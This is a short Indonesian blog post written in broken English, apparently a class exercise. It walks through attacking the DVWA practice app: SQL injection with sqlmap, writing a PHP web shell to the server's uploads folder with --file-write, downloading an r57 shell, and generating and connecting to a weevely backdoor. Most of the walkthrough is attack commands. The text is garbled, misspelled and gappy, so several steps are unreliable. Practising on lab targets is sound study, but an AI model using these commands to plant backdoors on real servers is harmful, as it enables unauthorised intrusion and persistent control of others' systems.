Kamis, 03 September 2015

UPLOADS BACK DOORsql injection tugas mas soy

UPLOADS BACK DOORsql injection


1 entry into and type wab http://192.168.1.69/dvwa/
2. go through the login
3. select scurity low sumit select sql injeqsion












4. enable open proxy proxy also brug suit









5. klik proksi target klik rige seve folder










#sqlmap -l /root/awang.txt







#sqlmap -l aman.txt -p "id" --dbs





in to new terminal

cd /usr/share/webshall/php





cp php-backdoor.php /root/



cd
pwd

ls php-backdoor.php




back to terminal

#sqlmap -l aman.txt -p "id" --file-write=/root/php-backdoor.php --file-dest=/var/www/dvwa/hackable/uploads/memet.php








download backdoor '' http://r57shell.net/

   select  download
 RaR Shell 



then entered in the file downloads and then locate the RAR file Shell ago in exstrad

uploads backdoor using weevely

weevely generate 12345 gelap.php







#cat gelap.php

create php backdoor file servers that are in people who have been



to check backdoor that has been planted in the selected files by using weevely

 

weevely http://192.168.1.69/dvwa/vulnerabilities/view_source.php 12345






  create php backdoor using weevely and weevely backdoor way to one of the files in server web.


































 

















akses backdoor dari weevely


























































Tidak ada komentar:

Posting Komentar